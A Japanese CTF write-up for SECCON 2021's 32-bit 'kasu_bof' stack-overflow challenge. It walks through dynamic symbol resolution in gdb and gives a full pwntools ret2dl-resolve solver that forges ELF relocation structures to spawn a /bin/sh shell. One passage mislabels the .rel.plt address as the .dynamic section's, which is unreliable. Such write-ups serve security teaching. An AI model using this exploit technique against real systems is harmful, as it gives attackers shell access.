問題
問題文
## Question Do you understand return-to-dl-resolve attack on 32-bit?
配布ファイル
main.c
chall
main.c
#include <stdio.h>
int main(void) {
char buf[0x80];
gets(buf);
return 0;
}
chall
mc4nf@mc4nf:~/ctf/seccon2021/pwn/kasu_bof$ file chall chall: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=cb260735eeb00c173f7f530e9fae9ee3704e6c6f, for GNU/Linux 3.2.0, not stripped mc4nf@mc4nf:~/ctf/seccon2021/pwn/kasu_bof$ checksec chall [*] '/home/mc4nf/ctf/seccon2021/pwn/kasu_bof/chall' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
実行ファイルに file
コマンドと checksec
を用いると、以下の特徴があることがわかる。
- x86
- SSP (Stack Smashing Protection) 無効
- Partial RELRO
方針
配布されたソースコード ( main.c
)を見てみると、以下の特徴がある。
char
型の配列buf
のサイズが0x80
バイトgets
を使用しているため、\n
(0x0a) が入力されるまで配列buf
に任意の文字を入力可能
このことから、配布されたプログラムには簡単なスタックバッファオーバフローの脆弱性があることがわかる。
また、問題文に return to dl resolve
という攻撃方法を使用すれば良い旨のコメントがあるため、
スタックバッファオーバフローを利用して、 return to dl resolve
を用いて shell
を起動できるとよさそうである。
よって、この問題以下の方針で解いていく。
- return to dl resolve を利用するため、
.plt
セクションからライブラリ関数のアドレスを解決するまでの流れを調査 - 1.を踏まえて、 return to dl resolve を利用し、
shell
を起動
1. return to dl resolve (ret2dl resolve)
return to dl resolveは、ライブラリ関数のアドレスを動的に解決する際に呼び出される関数である _dl_runtime_resolve
を利用し、任意のライブラリ関数を呼び出す攻撃手法である。
この攻撃の流れは以下のようになる。
- 任意の関数(ここでは
system("/bin/sh")
)を呼ぶため、_dl_runtime_resolve
に読み込ませる偽のElf32_Rel
構造体とElf32_Sym
構造体のオブジェクト、および NULL終端文字列"system"
と"/bin/sh"
を書き込み可能な領域に用意 _dl_runtime_resolve
は、引数のreloc_arg
を元にElf32_Rel
構造体を特定するため、reloc_arg
を1.で用意したElf32_Rel
構造体のオブジェクトを指すように指定.plt
の先頭にジャンプすると、_dl_runtime_resolve
が呼ばれ、1.で用意した構造体のオブジェクトを元にsystem
のアドレスが解決され、system("/bin/sh")
が実行
そこで、以下では、 .plt
セクションからのアドレス解決の流れを説明し、どのようにして偽の構造体を作成すればよいかについて説明する。
main
から gets
が呼び出される全体の流れ
問題のプログラムをディスアセンブルし、どのようにして gets
が呼び出されているのか確認してみる。
08049180 <main>:
8049180: 55 push ebp
8049181: 89 e5 mov ebp,esp
8049183: 81 ec 98 00 00 00 sub esp,0x98
8049189: 8d 85 7c ff ff ff lea eax,[ebp-0x84]
804918f: c7 45 fc 00 00 00 00 mov DWORD PTR [ebp-0x4],0x0
8049196: 89 04 24 mov DWORD PTR [esp],eax
8049199: e8 a2 fe ff ff call 8049040 <gets@plt>
804919e: 31 c9 xor ecx,ecx
80491a0: 89 85 78 ff ff ff mov DWORD PTR [ebp-0x88],eax
80491a6: 89 c8 mov eax,ecx
80491a8: 81 c4 98 00 00 00 add esp,0x98
80491ae: 5d pop ebp
80491af: c3 ret
ディスアセンブルした main
を見てみると、 0x8049199
のアドレスにおいて、 gets@plt
である 0x8049040
にジャンプしている。
gets@plt
は、 .plt
セクションに存在するため、 .plt
セクションもディスアセンブルしてみる。
08049040 <gets@plt>:
8049040: ff 25 0c c0 04 08 jmp DWORD PTR ds:0x804c00c
8049046: ...
先程呼ばれた gets@plt
を確認してみると、 まず jmp DWORD PTR ds:0x804c00c
で 0x804c00c
番地に格納されたアドレスへジャンプしている。
この 0x804c00c
のアドレスは、GOTと呼ばれる領域にあり、最終的に解決された gets
のアドレスが格納される。
そこで、1回目の gets@plt
の呼び出し時に、GOTには何が格納されているのか確認してみる。
gef➤ hexdump dword 0x804c00c
0x0804c00c│+0x0000 <gets@got.plt+0000> 0x08049046
0x0804c010│+0x0004 ...
すると、 0x804c00c
には、次の命令のアドレス ( 0x8049046
)がGOTに格納されていることがわかる。
このため、引き続き 0x8049046
からの命令読んでいく。
08049030 <.plt>:
8049030: ff 35 04 c0 04 08 push DWORD PTR ds:0x804c004
8049036: ff 25 08 c0 04 08 jmp DWORD PTR ds:0x804c008
次の命令 push 0x0
では、スタックに 0x0
を積み、その後 jmp 8049030 <.plt>
で .plt
セクションの先頭にジャンプしている。
.plt
の先頭の命令は、 push DWORD PTR ds:0x804c004
となっており、 0x804c004
に格納されている値をスタックに積む。
そして、次の命令 jmp DWORD PTR ds:0x804c008
で 0x804c008
に格納されているアドレスへジャンプする。
ここで、 0x804c004
および 0x804c008
番地には何が格納されているのか調べてみる。
gef➤ hexdump dword 0x804c004
0x0804c004│+0x0000 <_GLOBAL_OFFSET_TABLE_+0004> 0xf7ffd990
0x0804c008│+0x0004 <_GLOBAL_OFFSET_TABLE_+0008> 0xf7fe7ac0
すると、これらのアドレスはGOT先頭付近のアドレスであり、それぞれ 0xf7ffd990
と 0xf7fe7ac0
の値が格納されていることがわかる。
まとめると、 .plt
の先頭の命令では、スタックに 0xf7ffd990
を積み、 0xf7fe7ac0
番地へジャンプしている。
そして、 0xf7fe7ac0
へジャンプ後、 gets
のアドレスが解決され、 gets
が実行される。
また、二回目以降の呼び出しのために、解決されたアドレスは、GOTへ格納される。
以上が main
から gets
が実行されるまでの流れであり、 return to dl resolve
をするために必要となる .plt
セクション以降の流れについて以降では詳しく見ていく。
.plt
セクションからアドレス解決の流れ
さて、 main
から gets
が呼び出される全体像が掴めたところで、最後にジャンプしたアドレス 0xf7fe7ac0
から先を追ってみる。
ジャンプ先の 0xf7fe7ac0
は _dl_runtime_resolve
となっており、この関数により gets
のアドレスが解決される。
_dl_runtime_resolve
は引数として link_map
構造体と、後述する Elf32_Rel
構造体へのオフセットを示す reloc_arg
という2つの値を取る。
そこで、ここから先では、 _dl_runtime_resolve
を呼び出す際にスタックに積まれた 0xf7ffd990
を _dl_runtime_resolve
の第一引数である link_map
構造体のアドレス、 0x0
を第二引数である reloc_arg
として扱う。
それでは、次にライブラリ関数のシンボルの解決をする際に必要な情報を含んでいるそれぞれのセクションについて調べていく。
.dynamic
セクション
.dynamic
セクションは、 .rel.plt
や .dynsym
, .dynstr
セクションなどのアドレス情報を保持しているセクションである。
このため、ライブラリ関数のシンボルを解決をする際は、 .dynamic
セクションを最初に参照し、シンボル解決に必要な情報を含むセクションが配置されているアドレスを取得する。
.dynamic
セクションは、 Elf32_Dyn
構造体のオブジェクトが連続して配置されている。
そこで、 Elf32_Dyn
構造体の定義をgdbで参照してみる。
gdbから、構造体の定義を得るために、libcにおけるデバッグ情報を取得しておく。
$ sudo apt install libc6-dbg libc6-dbg:i386
gef➤ break main
gef➤ run
gef➤ info types Elf32_Dyn
All types matching regular expression "Elf32_Dyn":
File ../elf/elf.h:
838: typedef struct {...} Elf32_Dyn;gef➤ info types Elf32_Dyn
All types matching regular expression "Elf32_Dyn":
File ../elf/elf.h:
838: typedef struct {...} Elf32_Dyn;
gef➤ ptype /o Elf32_Dyn
type = struct {
/* 0 | 4 */ Elf32_Sword d_tag;
/* 4 | 4 */ union {
/* 4 */ Elf32_Word d_val;
/* 4 */ Elf32_Addr d_ptr;
/* total size (bytes): 4 */
} d_un;
/* total size (bytes): 8 */
}
Elf32_Dyn
構造体は、 それぞれの構造体がどのセクションの何の情報を持つのかを表す識別子である d_tag
と、 d_tag
に対応した値を union
型として持つ。
ここで、 .dynamic
セクションを参照するため、このセクションそのもののアドレスを得るためには、 link_map
構造体の l_info
フィールドを参照する必要がある。
各セクションの情報が格納されている l_info
において、インデックスは、対応した d_tag
により参照される。
-
d_tagに代入されうる値の一覧
-
https://elixir.bootlin.com/glibc/glibc-2.36/source/elf/elf.h#L862
/* Legal values for d_tag (dynamic entry type). */ ... #define DT_STRTAB 5 /* Address of string table */ #define DT_SYMTAB 6 /* Address of symbol table */ ... #define DT_REL 17 /* Address of Rel relocs */ ... #define DT_JMPREL 23 /* Address of PLT relocs */ ...
-
そこで、次に link_map
構造体の構造と、 .dynamic
セクションそのもののアドレスを解決する流れを見ていく。
link_map
構造体
link_map
構造体は、ELFファイルと実際にマッピングされたアドレスの差分や各セクションのアドレス、再配置情報を保持する構造体であり、ライブラリ関数のシンボルを解決する際に参照される。
それでは、 link_map
構造体の構造を知るために、gdbを用いて定義を参照してみる。
gef➤ info types link_map
All types matching regular expression "link_map":
File ../elf/link.h:
84: struct link_map_public;
File ../include/link.h:
91: struct link_map;
271: struct link_map_reldeps;
File ../sysdeps/x86/linkmap.h:
10: struct link_map_machine;
gef➤ ptype /o struct link_map
/* offset | size */ type = struct link_map {
/* 0 | 4 */ Elf32_Addr l_addr;
/* 4 | 4 */ char *l_name;
/* 8 | 4 */ Elf32_Dyn *l_ld;
/* 12 | 4 */ struct link_map *l_next;
/* 16 | 4 */ struct link_map *l_prev;
/* 20 | 4 */ struct link_map *l_real;
/* 24 | 4 */ Lmid_t l_ns;
/* 28 | 4 */ struct libname_list *l_libname;
/* 32 | 308 */ Elf32_Dyn *l_info[77];
/* 340 | 4 */ const Elf32_Phdr *l_phdr;
...
-
ソースコードの定義はここ
return to dl resolve において、
link_map
構造体でoffset
が32の位置に保持されているl_info
フィールドを利用する。l_info
は、各セクションへのアドレスを保持している。例えば、
.dynamic
セクションのアドレスを参照したい場合、d_tag
がDT_JMPREL
のElf32_Dyn
構造体を参照すればよいため、l_info[23]
とすることで参照することができる。
ここで、実際にgdbを用いて link_map
構造体から .dynamic
セクションのアドレスを解決してみる。
_dl_runtime_resolve
の第一引数である 0xf7ffd990
は link_map
構造体のアドレスであるため、 0xf7ffd990
を link_map
構造体のアドレスとし、表示する。
gef➤ set $link_map = (struct link_map*) 0xf7ffd990
gef➤ print *$link_map.l_info[23]
$5 = {
d_tag = 0x17,
d_un = {
d_val = 0x80482d8,
d_ptr = 0x80482d8
}
}
すると link_map
構造体のそれぞれのメンバの値が確認できる。
例えば、 dynamic
セクションのアドレス情報は、 l_info[23]
を参照することにより得ることができる。
このため、これを表示してみると、 d_ptr
には 0x80482d8
が格納されており、 .dynamic
セクションのアドレスは 0x80482d8
だということがわかる。
それでは、次にライブラリ関数のシンボルの解決に必要な他のセクションの情報を参照していく。
.rel.plt
セクション
rel.plt
セクションは、解決したアドレスを格納するGOTのアドレスとシンボルの情報を得るために必要な情報を持つ。
rel.plt
セクションは、 Elf32_Rel
構造体の配列となっており、 Elf32_Rel
構造体の定義は以下のようになっている。
gef➤ info types Elf32_Rel
All types matching regular expression "Elf32_Rel":
File ../elf/elf.h:
638: typedef struct {...} Elf32_Rel;
658: typedef struct {...} Elf32_Rela;
gef➤ ptype /o Elf32_Rel
type = struct {
/* 0 | 4 */ Elf32_Addr r_offset;
/* 4 | 4 */ Elf32_Word r_info;
/* total size (bytes): 8 */
}
-
ソースコード
.dynamic
セクションから取得した.rel.plt
のアドレス先をgdbでダンプしてみる。 ここで、_dl_runtime_resolve
の第二引数であるreloc_arg
は、.rel.plt
セクションの先頭アドレスから、参照するElf32_Rel
構造体までのオフセットとなっている。
gef➤ set $reloc_arg = 0x0
gef➤ set $reloc = (Elf32_Rel *)($link_map.l_info[23].d_un.d_ptr + $reloc_arg)
gef➤ print *reloc
$11 = {
r_offset = 0x804c00c,
r_info = 0x107
}
ここで、 r_offset
はライブラリ関数のアドレスを解決後に、そのアドレスを格納するGOT領域のエントリとなる。
このため、 gets
のアドレスが解決されると、 0x804c00c
にそのアドレスが格納されることになる。
r_info
は、その下位8bitと残りの上位24bitそれぞれに、次のような値を保持する。
r_info
を 8 byte 右シフトすることにより、 .dynsym
のインデックスを取得することができる。
/* How to extract and insert information held in the r_info field. */
#define ELF32_R_SYM(val) ((val) >> 8)
#define ELF32_R_TYPE(val) ((val) & 0xff)
#define ELF32_R_INFO(sym, type) (((sym) << 8) + ((type) & 0xff))
.dynsym
セクション
.dynsym
セクションは、アドレス解決する関数のシンボルのサイズやオフセットなどの情報を持つ。
また、 .dynsym
セクションは、 Elf32_Sym
構造体の配列となっている。
Elf32_Sym
構造体をgdbで参照してみる。
gef➤ info types Elf32_Sym
All types matching regular expression "Elf32_Sym":
File ../elf/elf.h:
527: typedef struct {...} Elf32_Sym;
gef➤ ptype /o Elf32_Sym
type = struct {
/* 0 | 4 */ Elf32_Word st_name;
/* 4 | 4 */ Elf32_Addr st_value;
/* 8 | 4 */ Elf32_Word st_size;
/* 12 | 1 */ unsigned char st_info;
/* 13 | 1 */ unsigned char st_other;
/* 14 | 2 */ Elf32_Section st_shndx;
/* total size (bytes): 16 */
}
ここで、 st_name
は、実際にシンボルが置かれている .dynstr
セクションのオフセットを指している。
そこで、 r_info
からインデックスを計算し、実際に Elf32_Sym
のアドレスを特定してみる。
gef➤ set $symtab = (Elf32_Sym *)($link_map.l_info[6].d_un.d_ptr)
gef➤ set $sym = $symtab[$reloc.r_info>>8]
gef➤ print $sym
$13 = {
st_name = 0x1a,
st_value = 0x0,
st_size = 0x0,
st_info = 0x12,
st_other = 0x0,
st_shndx = 0x0
}
.dynstr
セクション
st_name
のオフセットを .dynstr
セクションのアドレスに足し合わせたアドレスが、シンボルを指すアドレスとなっている。
gef➤ set $strtab = (char *)($link_map.l_info[5].d_un.d_ptr)
gef➤ set $gets_symbol = $strtab + $sym.st_name
gef➤ print $gets_symbol
$15 = 0x8048276 "gets"
これにより、 link_map
構造体から gets
のシンボルが解決されるまでの流れを把握することができた。
そこで、次にこの流れを踏まえた上で、 system("/bin/sh")
呼び出すためのSolverを作成していく。
2. Solverの作成
Solverの準備
上記の流れを図にすると、それぞれのセクションと構造体とシンボルの関係は以下のようになる。
.rel.plt .dynsym .dynstr | | | | | | reloc_arg---+ reloc_arg + .rel.plt | | | | | +-->|-----------+----------| | | | Elf32_Rel | r_offset | | | | | r_info |-----+ ((r_info>>8) + .dynsym)*sizeof(Elf32_Sym) | |-----------+----------| | | | | +->|-----------+---------------------------| | | Elf32_Sym | st_name |------+ st_name + .dynstr | | st_value | | | | st_size | | | | st_info st_other st_shndx | | |-----------+---------------------------| | | +-->|-----------+--------| | symbol | 'gets' | |-----------+--------|
ここで、 reloc_arg
にはスタックバッファオーバフローを利用して任意の値を指定することが可能なため、 .rel.plt
の値から偽の Elf32_Rel
構造体を配置したアドレスまでのオフセットを設定する。
reloc_arg = fake_elf32_rel_addr - rel
また、偽の Elf32_Rel
構造体では、 r_info
を 8 bitだけ右シフトした値を .dynsym
を基準とした偽の Elf32_Sym
構造体へのインデックスとして使用する。
このため、事前にインデックスを計算し、 Elf32_Rel
構造体に格納しておく。
このとき、 r_info
の下3bitが 0b111 (0x7)
である必要があるため、最後に 7
を or することで下3bitに1を立てている。
r_offset
は、解決されたアドレスが格納されるアドレスであり、通常はGOTの対応するエントリを指している。
今回は特に関係ないものの、 gets
の GOTエントリを指定しておく。
r_offset = gets_got
r_info = ((fake_elf32_sym_addr - dynsym)//0x10)<<8 | 7
Elf32_Sym
構造体の st_name
は、 .dynstr
の値から文字列 "system\x00"
のアドレスまでのオフセットを設定する。
このため、事前にオフセットの値を計算し、 Elf32_Sym
構造体に格納しておく。
st_info
は、グローバル関数であることを指す 0x12
を設定しておく必要があるため、設定しておく。
st_name = system_symbol_addr - dynstr
st_value = 0x0
st_size = 0x0
st_info = 0x12
st_other = 0x0
st_shndx = 0x0
.bss
領域への作成した構造体やシンボルの格納
.bss
領域には、以下のように作成した Elf32_Rel
構造体と Elf32_Sym
構造体、 "system"
のシンボル、および "/bin/sh"
の文字列を格納する。
|-----------+----------.bss-------------+---------| | Elf32_Rel | r_offset | 8 byte | | | r_info | | |-----------+---------------------------+---------| | | | 8 byte | | | | (align) | |-----------+---------------------------+---------| | Elf32_Sym | st_name | 16 byte | | | st_value | | | | st_size | | | | st_info st_other st_shndx | | |-----------+---------------------------+---------| | | | 4 byte | |-----------+---------------------------+---------| | symbol | 'system' | 4 byte | |-----------+---------------------------+---------| | | | 4 byte | |-----------+---------------------------+---------| | argment | '/bin/sh' | 4byte | |-----------+---------------------------+---------| | | | |
このとき、 Elf32_Sym
構造体は、 .dynsym
セクションのアドレスから、 0x10
バイトの間隔で配置されなければならないため( Elf32_Sym
構造体のサイズが 0x10
byteのため)、
必要なバイト数だけalignしている。
Solverを書くときは、事前に .bss
のどのアドレスがどの構造体やシンボルに対応するか計算しておき、ROPで gets
の引数として指定しておき、ROPチェインが発火後に、それぞれの構造体やシンボルを書き込んでいく。
fake_elf32_rel_addr = bss
fake_elf32_sym_addr = fake_elf32_rel_addr + 0x10
system_symbol_addr = fake_elf32_sym_addr + 0x14
sh_string_addr = system_symbol_addr + 0x1c
ROPチェインの作成
あとは、用意した偽の構造体やシンボルを .bss
領域内に格納できるように、複数回 gets
を呼び出す必要がある。
そこで、 それぞれ計算しておいた領域に構造体を引数とし、 gets@plt
にジャンプするROPを組む。
x86のROPは、参考文献に挙げたセキュリティコンテストチャレンジブックが参考になる。
# padding
buf = b'A'*0x84 # fill stack
buf += p32(0xdeadbeaf) # saved_ebp
# gets(fake_elf32_rel_addr)
buf += p32(gets_plt) # main return addr
buf += p32(pop_ret) # gets return addr
buf += p32(fake_elf32_rel_addr) # gets arg
# gets(fake_elf32_sym_addr)
buf += p32(gets_plt) # pop ret return addr
buf += p32(pop_ret) # gets return addr
buf += p32(fake_elf32_sym_addr) # gets arg
# gets(system_symbol_addr)
buf += p32(gets_plt) # pop ret return addr
buf += p32(pop_ret) # gets return addr
buf += p32(system_symbol_addr) # gets arg
# gets(sh_string_addr)
buf += p32(gets_plt) # pop ret return addr
buf += p32(pop_ret) # gets return addr
buf += p32(sh_string_addr) # gets arg
それぞれの構造体とシンボルの書き込みを行うROPを組んだ後、偽の構造体を元にアドレスを解決させるため、 .plt
セクションの先頭にジャンプする。
このとき、 system
の引数として "/bin/sh"
を取れるように、 "/bin/sh"
が格納されたアドレスをスタックに積んでおく。
# system('/bin/sh')
buf += p32(plt) # pop ret return addr
buf += p32(reloc_arg) # reloc arg
buf += p32(0xdeadbeef) # system return addr
buf += p32(sh_string_addr) # system arg
Solver
from pwn import *
filename = './chall'
chall = ELF(filename)
# docker-compose up
# conn = remote('localhost', 9001)
conn = process(filename)
plt = chall.get_section_by_name('.plt').header.sh_addr
bss = chall.get_section_by_name('.bss').header.sh_addr
rel = chall.get_section_by_name('.rel.plt').header.sh_addr
dynsym = chall.get_section_by_name('.dynsym').header.sh_addr
dynstr = chall.get_section_by_name('.dynstr').header.sh_addr
gets_got = chall.got['gets']
gets_plt = chall.plt['gets']
# 0x08049022: pop ebx; ret;
pop_ret = 0x08049022
fake_elf32_rel_addr = bss
fake_elf32_sym_addr = fake_elf32_rel_addr + 0x10
system_symbol_addr = fake_elf32_sym_addr + 0x14
sh_symbol_addr = system_symbol_addr + 0x1c
# calc index of Elf32_Rel from .rel.plt
reloc_arg = fake_elf32_rel_addr - rel
# padding
buf = b'A'*0x84 # fill stack
buf += p32(0xdeadbeaf) # saved_ebp
# gets(fake_elf32_rel_addr)
buf += p32(gets_plt) # main return addr
buf += p32(pop_ret) # gets return addr
buf += p32(fake_elf32_rel_addr) # gets arg
# gets(fake_elf32_sym_addr)
buf += p32(gets_plt) # pop ret return addr
buf += p32(pop_ret) # gets return addr
buf += p32(fake_elf32_sym_addr) # gets arg
# gets(system_symbol_addr)
buf += p32(gets_plt) # pop ret return addr
buf += p32(pop_ret) # gets return addr
buf += p32(system_symbol_addr) # gets arg
# gets(sh_symbol_addr)
buf += p32(gets_plt) # pop ret return addr
buf += p32(pop_ret) # gets return addr
buf += p32(sh_symbol_addr) # gets arg
# system('/bin/sh')
buf += p32(plt) # pop ret return addr
buf += p32(reloc_arg) # reloc arg
buf += p32(0xdeadbeef) # system retrun addr
buf += p32(sh_symbol_addr) # system arg
conn.sendline(buf)
# create Elf32_Rel
r_offset = gets_got
r_info = ((fake_elf32_sym_addr - dynsym)//0x10)<<8 | 7
fake_elf32_rel = p32(r_offset)
fake_elf32_rel += p32(r_info)
conn.sendline(fake_elf32_rel)
# create Elf32_Sym
st_name = system_symbol_addr - dynstr
st_value = 0x0
st_size = 0x0
st_info = 0x12
st_other = 0x0
st_shndx = 0x0
fake_elf32_sym = p32(st_name)
fake_elf32_sym += p32(st_value)
fake_elf32_sym += p32(st_size)
fake_elf32_sym += p8(st_info)
fake_elf32_sym += p8(st_other)
fake_elf32_sym += p16(st_shndx)
conn.sendline(fake_elf32_sym)
# create system symbol
conn.sendline(b'system')
# create sh symbol
conn.sendline(b'/bin/sh')
conn.interactive()
実行結果
mc4nf@mc4nf:~/ctf/seccon2021/pwn/kasu_bof$ python solve.py [*] '/home/mc4nf/ctf/seccon2021/pwn/kasu_bof/chall' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [+] Opening connection to localhost on port 9001: Done [*] Switching to interactive mode $ ls chall flag-4f8e964cf95b989f6def1afdfd0e91b7.txt $ cat flag* SECCON{jUst_4_s1mpL3_b0f_ch4ll3ng3}
SECCON{jUst_4_s1mpL3_b0f_ch4ll3ng3}
参考
-
詳解セキュリティコンテスト
- https://book.mynavi.jp/ec/products/detail/id=122750
- 33.2.2 発展:関数シンボルの動的解決 p.525
-
ROP stager + Return-to-dl-resolveによるASLR+DEP回避 - ももいろテクノロジー
-
ret2dl resolve - slideshare
-
セキュリティコンテストチャレンジブック
- https://book.mynavi.jp/ec/products/detail/id=42421
-
2.4 エクスプロイト - Retrun to PLT (ret2plt) p.109
- x86のROP
-
リンカ・ローダ実践開発テクニック
- https://shop.cqpub.co.jp/hanbai/books/38/38071.html
-
2.9 シンボル・テーブル p.54
- Elf_Sym構造体について
-
2.10 再配置テーブル p.57
- Elf_Rel構造体について
-
ret2dl_resolve Sections 關係表
- https://hackmd.io/@LJP/BkJmAqXEI
- ELfのマクロについて
created 2022/11/11
updated 2023/2/28